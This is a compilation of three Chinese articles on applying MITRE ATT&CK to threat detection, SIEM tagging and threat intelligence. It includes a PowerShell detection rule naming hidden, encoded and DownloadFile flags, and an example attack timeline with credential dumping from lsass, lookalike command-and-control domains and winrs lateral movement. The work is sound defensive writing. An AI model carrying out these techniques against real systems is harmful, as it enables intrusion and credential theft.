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ATT&CK随笔系列之一：右脑知攻、左脑知防

作者：余凯

来源：https://mp.weixin.qq.com/s/sxlMUwLqLBi-CJQV41DWaA

2019年相当不太平，除了全球贸易战，安全行业也暗潮涌动。上月底，Gartner WEB应用防火墙

(WAF)魔力象限领导者之一某企业 a承认遭到黑客入侵【1】，该企业一直宣称其核心能力和使命是保

护客户的应用和数据安全，入侵事件的发生貌似尴尬。然而今年 5月，国外主流媒体报道【2】全球排

名前三安全厂商悉数被黑客组织 Fxmsp攻破，源代码遭到泄漏。时间线向前回溯，谷歌 2018年因为

数据泄漏终止 Google+服务【3】，微软于 2017年承认Windows 10源代码泄漏【4】，卡巴斯基 2015年

主动披露内部网络被以色列黑客攻陷【5】。新闻追踪至此，大家可以停止笑话该企业了，问题远比想

象严重，而且没有人可以袖手旁观。

基于上述入侵事实，如果某家厂商宣称其产品技术能让客户安心无忧抵御黑客攻击，果断可列为

笑谈；即便是多做一些努力澄清，宣称持续提升员工安全意识和流程，也仅仅是在基线路径上多走了

一步，然而远远不够。上述事件背后的公司代表行业安全能力的上限，更多的公司面对黑客攻击，大

概率是落到四个象限：被黑了自己不知道、被黑了公众不知道、即将被黑、不值得被黑。国外同行一

般会说 “assume breach’’【6】【7】（假定失陷），上月 ISC大会上 360集团 CEO周鸿祎的措辞是 ‘‘没有

攻不破的网络’’，甚至 ‘‘敌已在我’’。这个观念很多人会感到意外，但这是事实，我们需要更加坦诚的

面对问题并做深层次的反思。

1.1 黑铁时代：人与人间的攻防对抗

我记忆里开始持续关注高级威胁对抗始于 2010年 Google披露极光行动【8】，印象深刻是因为当日证

实我们研发的漏洞分析引擎 (SAL，Script Analyzer Lineup)可以完全不做修改和升级检测到利用零日

漏洞 (CVE-2010-0249)的攻击代码，团队欢呼雀跃场景历历在目。不曾想到，这只是起点，整个行业

更加波澜壮阔的攻防对抗序幕拉开了。
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以 ‘‘波澜壮阔”形容并非代表正义的一方以压倒性的优势碾压对手大快人心。事实恰恰相反，那是

‘‘黑铁时代’’，攻击一方渐入佳境，而当时绝大多数的安全厂商长期专注病毒，对以漏洞开始的黑客入

侵没有特别多的办法抵御，甚至并不甚了解基于脚本和文档等攻击的手法。同时，华语安全圈开始流

行一句话 ‘‘未知攻、焉知防’’。

‘‘未知攻、焉知防”讲的是颠扑不破的道理，可喜的是，近年来大量的安全演讲和文章仍然反复被

提到，道理深入人心。以此为起点，我们试想一下，若已知攻会怎样？让我们先从美国一家著名的安

全公司火眼 (FireEye)说起。

火眼公司 2004年成立，早期获得美国中央情报局投资，最初的安全基因来自老牌安全厂商McAfee，

2013年起通过收购Mandiant大举进入高级威胁攻防 APT市场并成功在美国纳斯达克上市。火眼公司

零日研究团队和Mandiant安全服务团队拥有一群非常优秀的白帽子黑客，在 2013年和 2014年，全球

绝大多数的基于零日漏洞的 APT攻击都是由这两个团队合作发现，而这也推动火眼基于沙箱的全线

产品迅速被市场接受。我当时在服务的公司领导高级威胁核心技术团队，恰好负责与 FireEye对标产

品的技术研发，通过多次一线实战 PK，发现火眼的产品距离市场宣传的能力相距甚远，甚至很多火

眼自己发现的零日漏洞利用以及 APT攻击稍作变换就无法检测，换言之发现高级威胁攻击主要靠人，

而人的局限决定了百密一疏成为必然，同时安全能力无法复制。火眼是那个时代高级威胁攻防领域超

一流的公司，在检测黑客攻击上，其他安全厂商并没有质的突破。这段经历让我相信，即便知攻，距

离知防仍有巨大的鸿沟，亟需有突破性的变革与创新。

其实回看安全行业这么多年，基本没有摆脱这个格局，有很多原因：

1）黑产暴利，国家级攻击不惜成本。有兴趣可以看 GandCrab勒索病毒团队的感人故事【9】，以及

了解 NSA如何开发核武级攻击代码【10】。

2）白帽子黑客研究攻击有巨大的声誉和奖励，如同优秀的艺术家天马行空。但甲方的安全产品运

维和乙方的安全产品研发都需要全面、系统和长期的付出，同时对组织而言不创造利润而是成本中心，

常常受制于安全预算捉襟见肘以及面向业务的组织流程。

3）经费问题并非不可解决，毕竟头部客户有经济实力，也有解决安全风险的动力。问题是，如同

‘‘尧听四岳，用鲧治水。九年而水不息，功用不成’’。行业头部客戶领导长期以来无法接受巨大的安全

投入可能会被攻破的事实，始终沉浸在甲方万无一失、御敌于国门之外的不可能完成的承诺中，反复

围绕漏洞与病毒的做 ‘‘天” ‘‘壤”之别的 ‘‘堵” ‘‘堙”文章。病毒防御是 ‘‘壤’’，虽然简单却永远要追病

毒的变化导致病毒库膨胀。漏洞防御是 ‘‘天’’，零日漏洞无处不在，遇到便是面对降维打击。

1.2 青铜时代：聚焦黑客行为的产品改进

好消息是，经过多年的希望与失望反复，近年来国际安全行业逐步针对 “assume breach”形成共识，同

时将努力的方向同步到基于黑客行为的检测方向上来，专业术语是 TTP（战术 Tactic、技术 Technique、

过程 Procedure）

TTP来源于军事术语【11】，逐步应用到网络安全场景。

1）战术是攻击行为的技术目标

2）技术是为实现战术使用的手法
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3）过程是针对某个技术的特定实现

对抗黑客攻击，焦点从感染指标 (Indicator of Compromise, IOC)转向 TTP，由围绕痛苦金字塔的讨

论展开并完成。

2013年 FireEye的安全专家 David J. Bianco首次提出 ‘‘痛苦金字塔’’【12】(Pyramid of Pain)。国内

对痛苦金字塔有很多介绍本文不做详细解释，这里基于痛苦金字塔提出核心观点：

1）痛苦金字塔第一层以下构成了行业普遍采用的 IoC，他们是黑客实施攻击的工具或成果，大概

率这些工具只为此次攻击生成，成果也只在此次攻击出现。

2）真正有效的检测是基于黑客攻击的一系列手法，包括如何与目标系统的互动，这些手法有些是

黑客人工试探，有些通过工具自动化完成的。一个类似的比喻是，交警通过摄像头抓取违章是不会主

要依赖车牌或者车型。

3）攻击手法不容易改变，正如违章行为相对固定。基于 IoC的防御是必要的基础能力，但层次越

低，效率越低。

4）基于 IoC或类似特征码的防御性安全设备，因为必须阻断，常常成为黑客试探和绕过的验证工

具。同时黑客攻击越来越倾向于以零日攻击和社会工程学开始，以合法帐号和通用工具，甚至系统工

具实施。这意味着，阻断类安全产品对抗黑客攻击是不够的，需要有提供嗅探、监测、关联、分析和

溯源的旁路型安全产品互补。
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以上共识达成，各家安全厂商便各自开始努力，聚焦黑客行为 (TTP)提升检测能力。例如今年成

功上市如日中天的 CrowdStrike在 2014年提出了 IoA【13】(Indicator of Attack)，而我当时服务的公司

也提出了 EIoC对 IoC做扩充，一批自用的检测恶意行为的经验性规则被提出以 IoA（或其他形式，例

如 EIoC）方式描述，并在各自的安全产品中尝试实现。时间给了我们上帝视角，回想当年在公司激烈

的讨论，有关 IoA和 EIoC的潜力对比，有关如何形成规则，有关如何验证，如今结论都不言自明，水

落石出，这些尝试在后续几年的实践中都遭遇到了重大瓶颈，或者步履维艰，甚至停滞不前。

重大瓶颈产生的根本是所有的努力都缺乏一个重要的基础：描述黑客行为 (TTP)的语言和词库。

这一点是高级威胁攻击的独特性决定的：

1）高级威胁攻击自 2013年起被公开披露，当年只有包括 FireEye，Trend Micro，Kaspersky等少数

安全公司能看到，随着公众重视，国际头部安全公司投入，更多公司也开始加入其中报道。但始终因

为事件高度敏感，导致威胁情报无法交换，众多安全公司面对黑客组织全貌如同盲人摸象。

2）即便是在安全公司内部，因为没有一个很好的描述语言和词库，即便是最好的安全人员发现了

APT事件也无法一致的、直观的将黑客手法完整的描述出来，再提供给核心技术和产品研发去做系统

性对抗实现。导致最后产品仍然是基于 IoC检测，即便是为行为检测而设计的 IoA等描述也最后落入

了各种威胁码的窠臼。

3）黑客行为与正常用户行为往往很难界定，但又有大量交集。安全产品缺乏记录中性行为

(telemetry)的能力，导致黑客入侵难以发现，这一点是开篇提到代表行业安全能力上限的安全公司集

体失陷的直接原因。

1.3 白银时代：统一语言，重装上阵

好消息是，2013年在 MITRE主导的 Fort Meade Experiment (FMX)研究项目中，ATT&CK (Adversary

Tactics and Techniques & Common Knowledge)模型首次被提出并迅速成为解决上述瓶颈的标准。MITRE

是一个非营利组织，向政府和行业提供系统工程、研究开发和信息技术支持。ATT&CK由MITRE于

2015年正式发布，汇聚来自全球安全社区贡献的基于历史实战的高级威胁攻击战术、技术，形成了针

对黑客行为描述的通用语言和黑客攻击抽象的知识库框架。
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如上图可以看到，ATT&CK经过 5年左右的发展，到 2018年开始获得爆发式关注。所有国际安全

头部厂商都迅速的开始在产品中增加针对 ATT&CK的支持，并且持续将自己看到的黑客手法和攻击

行为贡献 ATT&CK知识库。近两年的 RSA、SANS、Blackhat、Defcon等一线安全会议，大量厂商和

研究人员基于 ATT&CK开始交流经验，同时将其工具和实践分享至 Github上。

至此，黑客攻防终于有了情报交流的基础框架和语言，类似大秦统一了语言、货币、度量衡，使得

生产力和战斗力有了突破性成长。ATT&CK建立了 ‘‘知攻”通向 ‘‘知防”的桥梁，使得防守方有机会

将攻击知识系统化的吸收并转化为针对性的对抗能力。

而安全行业经由本文提到的白帽子黑客为知防而知攻，演进到已知攻而专注产品检测黑客行为，

并最终达成共识基于 ATT&CK知识库协同提升产品知防能力，长期落后的防守一方终于看到了对等

对抗攻击的曙光。

1.4 向黄金时代进军：右脑知攻、左脑知防

回到文章标题，攻击是一门艺术，需要想象力；防守是系统性工程，依靠理性和逻辑。如果我们把乙

方安全厂商的核心能力比作安全大脑，或者把甲方用户的安全运维中心比作安全大脑的话，‘‘右脑知

攻、左脑知防’’便是应对黑客攻击的最强大脑。

一个典型的场景是：基于新发现的黑客攻击，白帽子研究员提炼出新的战术 (Tactics)、技术

(Technique)和实现过程 (Procedure)，这等同于贡献标签；而安全产品基于最新的 TTP以收集追踪数据

(Telemetry)、识别攻击技术 (Technique)并映射为攻击战术 (Tactics)，这等同于为客户环境大量日常数

据打标签，这个过程可为安全大脑提供高质量的标签化数据，使得机器学习能真正帮助检测能力的提

升，系统性发现和应对 APT攻击成为可能。
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ATT&CK ATT&CK随笔系列之一：右脑知攻、左脑知防

本文 ATT&CK随笔系列的第一篇，接下来我将介绍对MITRE ATT&CK知识库的理解和思考、安

全产品能力评测的演化及最近进展，以及基于MITRE ATT&CK的最佳实践，欢迎关注，敬请期待！

作者简介

余凯@瀚思科技副总裁

目前就职于瀚思科技担任副总裁，在安全技术、产品、市场具备近 20年丰富经验，拥有 3项美国

专利。致力于引入世界一流的攻防实践和技术创新将瀚思的核心技术进行国际化升级。他曾在全球最

大的独立安全软件厂商趋势科技领导高级威胁攻防核心技术团队，负责零日漏洞研究、攻击检测沙箱、

漏洞检测和过滤引擎等多个核心技术产品研发成绩斐然，曾获得公司最具价值员工（2012年度）和领

袖（2015年度）奖杯，2015年荣获 CEO和 CIO共同署名颁发的年度优秀团队奖杯。
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[4] Microsoft confirms some Windows 10 source code has leaked
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ATT&CK在大数据安全分析中的应用思考

作者：安恒 AiLPHA实验室

来源：https://mp.weixin.qq.com/s/h-jrWoaIofnpBppKpZK2sw

2.1 前言

若将今年网络安全圈内的热词进行盘点排榜，“ATT&CK”一定榜上有名。从 2019RSA大会上分析师

分享会的重点关注，到今年 Gartner SIEM魔力象限考核中将其列为重要参考指标，ATT&CK无疑迎

来了全新的发展机遇。ATT&CK框架内构建的知识库为安全行业提供了一个标准，对已知的战技术进

行收集，促进安全产品的优化改进。本文将从 TTPs的作用、分析溯源等方面提出关于 ATT&CK框架

在 SIEM产品中应用的理解和思考，欢迎大家探讨。

2.2 一、ATT&CK框架的了解

“ATT&CK”的全称为 “Adversary Tactics and Techniques & Common Knowledge’’，它设计初衷是构建一

个攻击者战术和技术的共享知识库。记得在 2017年首次关注 ATT&CK矩阵，那时只有近百个技术，

没人会想到今天 ATT&CK会成为大部分安全从业者都在关注的一个词。MITRE成功了，ATT&CK也

成功了，现在它逐渐成为一个业界公认的红蓝知识库，越来越多的从业者和厂商向框架内贡献技术点，

使得这个框架的发展与应用更加快速。

提到 ATT&CK框架就不得不提 TTPs (Tactics,Techniques,Procedures)，这是一个军事术语，现在被

引用到网络安全领域。

战术 (Tactics)：发起一个攻击的意图

技术 (Techniques)：实施一个攻击的技术

过程 (Procedures)：实施一个技术的流程

那么 ATT&CK究竟能给安全行业带来什么？

2.2.1 ATT&CK框架可以成为业界的标准（能力可度量）

目前 ATT&CK框架主要包含终端相关安全知识，可以根据检测能力的矩阵覆盖率来评估部分安全产

品的能力，例如：沙箱、EDR、SIEM等。

如果顺利发展的话后期也可能加入Web安全相关安全知识，那时WAF、RASP、代码审计等Web

相关安全产品也可以凭借框架进行评估。

终端在检测漏洞利用方面的能力较弱，若等漏洞利用子技术丰富后，流量设备是否可以借此来评

估检测能力？虽然现在有一个现成的 CVE库，但和知识库还有一些距离。当然这些只是个人的猜测，

毕竟漏洞有点多，这是一个浩大的工程。
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能力的度量需要客观、统一的标准，而不是自说自话。当然这里的覆盖率只是指标之一，覆盖规则

的质量也是非常重要的，但其实往往质量比数量更难评估。

2.2.2 ATT&CK框架可以成为业界的通用语言（威胁数据标签化）

经过多年的安全分析工作，每天被不同厂家的不同版本的不同设备所折磨。今天这个设备的告警叫

“smb漏洞利用’’，明天相同的告警叫 “MS17-010’’，这只是一个简单的例子，就仿佛分析师必须会两

种语言甚至更多才能胜任其工作。语言多样性同时造成语言障碍，影响协作能力。都说攻防不对称，

但当面对强大的对手，防守方可能从未站在同一阵线。如果不管是 “smb漏洞利用”还是 “MS17-010’’，

以后大家都称其为 T1210-Exploitation of Remote Services，SubTxxxx-MS17010，每个人的一小步，却是

行业的一大步。

ATT&CK模型是在洛克希德-马丁杀伤链的基础上，构建了一套更细化、更贴合实战的知识模型和

框架，它主要分为 3个矩阵：

(1) PRE-ATT&CK：攻击前的准备，例如战略计划制定、武器化、信息收集、脆弱点发现等；

(2) Enterprise：攻击时的部分已知技术手段，例如初始权限获取、执行、防御逃避、横向移动等；

(3) Mobile：移动端的部分已知技术手段，移动框架和 Enterprise类似，只是适用的平台不同；

目前 SIEM并没有涉及到太多的移动端安全问题，所以移动端就不放在本次的讨论范围之内。

PRE-ATT&CK目前对于防御者来说可见性比较低，目前大多数采用预防性防御方法，比如进行安

全意识培训抵御社会工程学攻击，定期漏洞扫描来规避易被发现的脆弱点，定期的监控开源代码仓库

有无泄露项目源代码、VPN账号、员工邮箱、敏感密码等。

Enterprise既是当用户已经在内部有了驻足点后的行为矩阵，在这个矩阵中，企业数据探针较完

善的情况下可见度是比较高的，可以更好的利用此矩阵内的数据源进行威胁的捕获与分析，因此

Enterprise也是目前备受关注的矩阵，也是我们本篇重点讨论的矩阵。

16



ATT&CK ATT&CK在大数据安全分析中的应用思考

（图片来源于：网络）

2.3 二、SIEM产品与 ATT&CK框架的结合应用

2.3.1 TTP的标签

1. 数据源的选择

在利用 ATT&CK的 TTPs来描述在环境中发现的威胁之前，需要接入相关数据作为底层的支持。

在这次 ATT&CKcon会议上看到的一张数据源排行榜，可见进程创建、进程命令、文件监控占了很大

的比重。sysmon的数据目前可以基本满足需求。
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（图片来源于：hxxps://pbs.twimg.com/media/EICsnZ_XYAAyyxd?format=jpg&name=medium）

2. 数据标签化

由于 SIEM平台本身接入的数据量太大并且有很多没有分析价值的数据，平台需要抽象出一层关

注的安全事件，这些事件不一定是恶意攻击，比如 Powershell、CMD这些运维管理员也会使用的程序，

抽象出的事件需要一个标签来描述事件的含义，这时 TTPs的 ID就成了最好的标签。TTPs的背后是

完善的知识库，每个技术都可以追溯其利用原理、战术意图。

通常使用规则将数据打上标签，所以需要先梳理技术对应的数据源，以下表为例：
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SIEM做的是数据分析，ATT&CK可以将数据添加一层标签，标签的生成来自与规则，标签化的流

程与利用，如下图：

ATT&CK的规则是 ATT&CK框架应用的基础，也是难点。初步可以根据 github上一些开源的项目

进行实施和优化，例如：sentinel-attack、sysmon-config、sigma等。与其他产品类似，主要的问题在两

个方面：

规则的质量

规则的质量一直是厂商头疼的问题，更是困扰安全分析师和运维人员的难题。当底层数据不可信

时，分析的都是错数据，分析的结果又怎么能对呢？在开源规则的基础上我们可以在各种环境下测试

规则的误报并进行调试，针对特定规则可能需要手动复现提取更加准确的特征。

规则的覆盖率

虽然 ATT&CK框架号称是原子级技术分解，其实还尚未达到这个程度，例如 T1055 -进程注入，

虽然在它的知识库里也列出了几种注入的方法，但是真正的注入方法就不止 10种。那么若一个产

品覆盖了 T1055 -进程注入，但覆盖了其中一种技术还是十种技术对应的能力显然是不同的。为此

MITRE也及时做出了调整推出 Sub-Techniques的概念，这是真正意义上的原子级技术点。相对于现在

的 Techniques，Sub-Techniques才能客观的标识一个产品的检测能力覆盖面，让我们拭目以待。
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(图片来源：hxxps://pbs.twimg.com/media/ECl3z_FXsAE892F?format=jpg&name=900x900)

3. 标签的权重

分析标签时和分析数据一般无二，有的数据只是用参考的，有的数据却标注着企业内部可能正在

发生攻击行为。目前，笔者根据规则的置信度、检测粒度将标签粗略分为：失陷告警、参考告警、审

计信息三大类。

失陷告警：极低误报率、确切高危行为的告警

参考告警：存在误报情况的高危行为告警、较低误报率的中危告警
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审计信息：可能被攻击者利用也可能是用户自己操作的行为

举例：

Powershell目前被攻击者频繁利用，也是终端必须审计的数据源之一。

若规则为定义如下，那么这只能算是一个审计信息。

Image contains ‘powershell.exe’

若规则有了更细致的特征，那么可以定级为一个参考告警甚至失陷告警。

Image contains ‘powershell.exe’ and CommandLine contains (‘-w hidden’ or ‘–Exec Bypass’ or ‘-c’ or

‘-Enc’ or ‘–Nop’ or ‘DownloadFile’)

有了详细的特征为什么还需要使用宽泛的审计规则：世上没有完美的规则，规则总可能被绕过，这

时还有审计信息给予我们溯源的可能。

审计规则可以记录所有动作为什么还要颗粒度更高的规则：权重！让机器帮你做初步的筛选，直

接关注存在的高风险问题，权重不同的告警在场景化过程中对结果的判断也会有影响。

2.3.2 分析溯源

无论是 APT还是常规的渗透攻击，可能会用一些目前未知的技术手段或者 0DAY，但也必然会用到其

他已知的攻击手段，这时我们的标签化的数据就起到了分析的价值，可以根据标签进行行为分析、异

常分析等。

1. 进程树的分析

当我们触发告警时，可以溯源该告警进程的进程树。此时可将进程树的上所有进程附着的 TTP标

签作为数据，分析该进程树是否为一条失陷的攻击链，在进程树生成后也会发现许多没有标签的进程，

这些可能就是规则遗漏的检测点。

举个简单一点的判断逻辑：

a. 是否树上可以有多个权重较高的标记

b. 是否树上有超过 ${Num}个不同的标记

当然实际应用中可能需要其他更完善的算法。假想能否将一台主机上的所有进程导入图数据库，

这样就可以获得单台机器某个时间段下全局进程图的视角，这比分析某个进程树呈现的更加直观和全

面。

2. 标签分布分析

我们可以为每台主机维护一个矩阵图，把主机上的 TTP标签作为数据，分析这个主机是否为一个

失陷主机。

举个简单一点的判断逻辑：

a. 是否主机上可以有多个权重较高的标记

b. 是否主机上有超过 ${Num}个不同的标记

c. 是否主机上有超过 ${Num}个不同的战术意图
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当然光靠阈值可能依然存在一些误报情况，我们可以引入机器学习算法辅助确认主机是否失陷。

在内网的运维过程中，我们收集以单台主机上的 TTPs标签分布为样本数据，对主机进行分析后，若

手动判定为失陷则加入黑样本，其他认为是白样本。利用样本集训练模型作为一种辅助判断的手法，

来提高风险主机的处理优先级。在客户运维的过程中，还可以利用主动学习算法不断的优化辅助模型。

3. 内网的溯源

当检测到失陷主机有进程访问内网其他机器时，展示该机器上检测到的 TTPs信息及摘要。可以根

据此信息来判断是否为横向移动攻击，例如 winrs是一种横向移动手段，发现主机 10.50.10.100通过

winrs连接到内网机器 10.50.10.105，又发现主机 10.50.10.105上有权重较高的标签 T1060-Registry Run

Keys / Startup Folder、T1003-Credential Dumping、T1191-CMSTP,那可能大概率横向移动的结果是成功

的。

4. 上下文描述
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可为每个标签添加更细节和通俗的描述作为场景化描述的基础语句，再将其组合起来成为完整的

描述一个场景。以进程树为例，对每一层树中的操作进行战术分类后以时间轴的形式进行描述。

2019/11/07 16:31:05 进程 IJIurngei.exe 通过漏洞 CVE-2018-8120 提升权限运行 uziYaoqomsfT.exe，

进进程用户由 User提升到 System，达到权限提升目的；

2019/11/07 16:31:07进程 uziYaoqomsfT.exe连接远程域名 download.microUpdate.com，疑似达到远

控目的；

2019/11/07 16:31:15进程 uziYaoqomsfT.exe释放文件 svchost.exe，达到伪装目的；

2019/11/07 16:31:18进程 svchost.exe连接远程域名 ginni.go0gle.com，疑似达到远控目的；

2019/11/07 16:31:23进程 uziYaoqomsfT.exe运行程序 cmd.exe，达到执行目的；

2019/11/07 16:31:24进程 cmd.exe运行程序 tasklist.exe、systeminfo.exe、net.exe、net1.exe、whoami.exe，

达到发现目的；

2019/11/07 16:31:32进程 cmd.exe运行程序 mimi.exe访问 lsass.exe进程，达到凭证获取目的；

2019/11/07 16:32:03进程 cmd.exe运行程序 winrs.exe连接远程主机 10.50.10.105，目标机器上存在 3

个较高权重的标签 T1060-Registry Run Keys / Startup Folder、T1003-Credential Dumping、T1191-CMSTP，

疑似达到横向移动目的；

2.3.3 红蓝知识库

虽然 ATT&CK框架期望实现建立一个大而全的威胁知识库，但目前的阶段还尚处于初步了解框架概

念。MITRE致力于建立一个 Cyber Analytics Repository，但由于内容太少而不足以提供丰富的检测能

力。不过也有很多迫不及待的人已经提前动起了手，例如 Red Teaming Experiments、atomic-red-team，

但他们更注重的是 Red Team攻击过程的复现，我们期望的是 Red Team代码级复现 +Blue Team威胁

特征提取。

1. 威胁检测
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比起说红蓝知识库可以帮助威胁检测，倒不如说为了更好的检测才有了红蓝知识库。为了有更精

确的告警采取复现攻击技术，红蓝知识库只是衍生总结出的产物。

2. 用户赋能

既然有了知识库自然要利用起来，SIEM是一个需要安全知识才能使用起来的安全产品，对于分析

师的能力有要求，目前红蓝知识库可以提供给分析人员更多更详细的学习指导。

2.4 小结

随着 ATT&CK框架的认知度越来越高，其完善发展的速度一定会更快，应用的方向也会更广。就目

前阶段，我们认为 ATT&CK最大作用是帮助恶意行为的检测和分析。合抱之木始于毫末，万丈高楼

起于垒土。我们将踏实致力于实战，不断完善知识库，通过统一标准的建立，打造高效便捷的交流话

语，健全行业生态体系。若文中有描述不足的地方欢迎交流，开放才能更快的进步，共勉。
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从 ATT&CK看威胁情报的发展和应用趋势

作者：小强

来源：https://www.sec-un.org/attck/

ATT&CK是对网络攻击手法的一种结构化、数据化的描述，进而通过对抗性的分析，进一

步推动自适应的、弹性的防御体系的落地。ATT&CK让攻击手法有了一致性的标准，是结

构化认知对抗的重要基础，是新一代以数据/情报驱动的安全体系的重要部分。

3.1 引言

在 2019年 3月的 RSA大会中，有超过 10个议题讨论将 ATT&CK用于攻击行为建模 [1][2]、改进网

络防御 [3][4]、威胁狩猎 [5]、红蓝对抗复盘 [6]、攻击检测 [7][8][9]方面的研究和分析，ATT&CK成

为了此次大会中最热门的议题之一。在 2019年 6月的 Gartner Security & Risk Management Summit会

议中，ATT&CK被 F-Secure评为十大关注热点 [10]。ATT&CK俨然成为了 2019年网络空间安全的一

个火爆技术话题。

3.2 什么是 ATT&CK

MITRE ATT&CK，全称为：AdversarialTactics, Techniques, and Common Knowledge，对抗性策略、技术

和通用知识，是由MITRE提出的一套反应各个攻击生命周期攻击行为的模型和知识库。ATT&CK在

洛克希德-马丁公司提出的 KillChain模型的基础上，对更具观测性的后四个阶段中的攻击者行为，构

建了一套更细粒度、更易共享的知识模型和框架，并通过不断积累，形成一套由政府、公共服务企业、

私营企业和学术机构共同参与和维护的网络攻击者行为知识库，以指导用户采取针对性的检测、防御

和响应工作 [11]。

目前 ATT&CK 模型分为三部分，分别是 PRE-ATT&CK，ATT&CK for Enterprise 和 ATT&CK for

Mobile，其中 PRE-ATT&CK覆盖攻击链模型的前两个阶段，ATT&CK for Enterprise覆盖攻击链的后五

个阶段，ATT&CK for Mobile则考虑到传统企业 PC与当前移动设备之间的安全架构差异，重点描述了

攻击链模型七个阶段中面对移动威胁 TTPs的情况，如图 1所示。后续还可能会有 ATT&CK forCloud

模型的推出，本文主要以 Enterprise为例，对 ATT&CK的战术、技术和应用进行描述和分析。
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图 1 ATT&CK在 KillChain的覆盖情况

PRE-ATT&CK包括的战术有：优先级定义、目标选择、信息收集、发现脆弱点、攻击性利用开发

平台、建立和维护基础设施、人员的开发、建立能力、测试能力和分段能力；ATT&CK for Enterprise

包括的战术有：访问初始化、执行、常驻、提权、防御规避、访问凭证、发现、横向移动、收集、数据

获取、命令和控制，如图 2所示。

图 2 ATT&CK包含的战术

战术指的是 ATT&CK的技术原因，是攻击者执行行动的战术目标，涵盖了攻击者在操作期间所做

事情的标准和更高级别的表示；技术指的是攻击者通过执行动作实现战术目标的方式，或者执行动作

而获得的内容。在 ATT&CK矩阵中可以到看到战术和技术的关系，如图 3所示 [11]，可能有很多种方

法或技术可以实现战术目标，因此每种战术类别有很多种技术。
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图 3 ATT&CK战术技术矩阵

ATT&CK对各类战术和技术做了较为详细的定义，如图 4和图 5所示。

图 4 ATT&CK定义的战术示例
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图 5 ATT&CK定义的技术示例

以 T1060为例，T1060表示攻击技术：Registry Run Keys / Startup Folder的 ID，ATT&CK将其描述：

在注册表或启动文件夹中向 ‘‘运行键’’添加条目，将导致在用户登录时执行引用的程序。这些程序将

在用户的上下文环境中执行，并具有账户权限。T1060处于战术的持久化（Persistence）阶段，要利用

该技术需要 ‘‘用户’’、‘‘管理员’’权限。检测该攻击技术所依赖的数据源有：Windows注册表和文件监

控。

该攻击技术的检测方法有：1）监控与已知软件、系统补丁等无关的注册表的变化；2）监控启动文

件夹的增加或改变；3）如 SysInternals AutoRuns（类似于 Sysmon）之类的工具也可用于监控注册表和

启动文件夹等相关内容的变化。

该攻击技术的缓解方法有：使用白名单工具适时识别并阻断尝试通过运行密钥或启动文件夹进行

持久化的潜在恶意软件。
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图 6 T1060内容简介

可以将 ATT&CK用于描述攻击者（的行为），进而：1）找出感兴趣的攻击者；2）攻击者使用的技

术和留下的痕迹；3）基于情报进行溯源。如图 7所示，ATT&CK可对 APT攻击组织进行描述，在部

分厂商的 ATP分析报告中，也使用 ATT&CK对攻击手法和过程进行描述。
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图 7 ATT&CK描述 APT1示例

3.3 ATT&CK应用

在应用层面，ATT&CK支持的用例（可以用来干嘛）包括：

（1）模拟攻击者的攻击手法，指的是通过特定攻击者的威胁情报和攻击手法来模拟威胁的实施过

程，进而评估某项防护技术的完备性。模拟攻击者的攻击手法侧重在验证检测或缓解在整个攻击过程

中的攻击行为，ATT&CK可用作构建模拟攻击者攻击手法的场景的工具，来对常用的攻击者攻击技术

进行测试和验证。通过对攻击行为进行分解，将动态、复杂的攻击活动 ‘‘降维’’映射到 ATT&CK模型

中，极大降低攻击手法的描述和交流成本，进而在可控范围内对业务环境进行系统安全性测试。

在具体模拟攻击者攻击手法的使用方面，可以使用 ATT&CK：1）对攻击者在不同攻击阶段使用的

攻击技术进行模拟；2）对防护系统应对不同攻击手法的检测和防御效果进行测试；3）针对具体的攻

击事件进行详细的分析和模拟。
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图 8 APT3攻击模拟

（2）红队，指的是在红蓝对抗中，在不使用已知威胁情报的前提下，红队的最终目标是攻陷对方的

网络和系统，而不被检测发现。ATT&CK则可以被红队用于制定和组织攻击计划的工具，以规避网络

中可能的防御手段。另外，ATT&CK还可以用于研究攻击者的攻击路线，进而摸索出绕过普通防御检

测手段的新方法。

图 9攻击路线映射

（3）行为分析开发，指的是通过对攻击者的攻击行为进行检测分析，进而识别网络和系统中潜在的

恶意活动，这种方法不依赖于已经识别的攻击工具特征和攻陷指标 IoCs的信息，比传统的通过攻陷指

标 IoCs或恶意行为签名的方法更加灵活。ATT&CK可以用作构建攻击者攻击行为的工具，以检测环

境中的攻击行为。

在实际应用方面，可以使用 ATT&CK对攻击者的攻击手法进行对比，通过分析攻击者攻击手法的

重叠情况，判断攻击是否由同一个组织发动的，如图 10所示。
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图 10攻击手法对比

（4）防护差距评估，指的是对企业在网络防护能力的不足方面进行评估。ATT&CK可看作一种以

攻击者攻击行为为中心的模型，用于评估企业内部现有的检测、防护和缓解系统，确定防护差距后，

指导安全增强的投资计划，进而改进和提升现有的系统，如图 11所示。

图 11评估防护差距

（5）SOC成熟度评估，指的是利用 ATT&CK，对企业的安全运营中心在网络入侵时的检测、分析

和响应的有效性进行评估。
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图 12评估 SOC的成熟度

（6）网络威胁情报增强，指的是将 ATT&CK作为传统基于攻陷指标 IoCs的情报应用的补充。网络

威胁情报指的是影响网络安全的网络威胁和攻击者群体的知识，包括关联的恶意软件、工具、TTPs、

行业、行为以及威胁相关的其它攻击指标信息。ATT&CK可从攻击组织行为角度对其进行理解和描

述，分析和运维人员可以更好的理解攻击组织的共同行为，以采取更好地防御措施。如图 13所示，可

以看到将 ATT&CK用于检测的方法较传统的 IoCs的检测方法要复杂得多。

图 13 ATT&CK的检测逻辑方法
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3.4 ATT&CK与情报的关系

按照 Gartner的定义，威胁情报是：针对一个已经存在或正在显露的威胁或危害资产的行为的，基于

证据知识的，包含情境、机制、指征、影响和可行动性建议的，用于帮助解决威胁或危害进行决策的

知识 [12]。而按照 iSight的定义，威胁情报指的是：关于已经收集、分析和分发的，针对攻击者和其

动机、目的和手段的，用于帮助所有级别安全的和业务员工用于保护其企业核心资产的知识。

以上的定义偏学术，不是很容易理解，特别是跟客户介绍威胁情报业务，因此，跟客户可以这样

介绍威胁情报：我知道你不知道的关于你的安全威胁信息；另外，从攻防对抗的角度，情报就是对手

（Adversary）；而从安全响应闭环理解，威胁情报是（设备、系统和分析人员的）安全检测和分析能力

的汇集。

按照网络威胁情报困难程度金字塔的描述，根据描述利用威胁情报引起攻击者的攻击代价大小或

者痛苦指数，可以将威胁情报分为：Hash值、IP地址、域名、网络或主机特征、攻击工具和 TTPs。

对于攻击者来说，入侵时投递一个特定样本，一旦通过 Hash匹配和检测到该样本，只需要变更一

个比特位或者多添加几个字符，就可以改变样本的 Hash，进而逃避基于 Hash匹配进行的检测；

一旦攻击者的 TTPs被识别和应对，攻击者就会被迫放弃之前的攻击手法，而重新学习新的手段，

这个代价对于攻击者而言是高昂的；

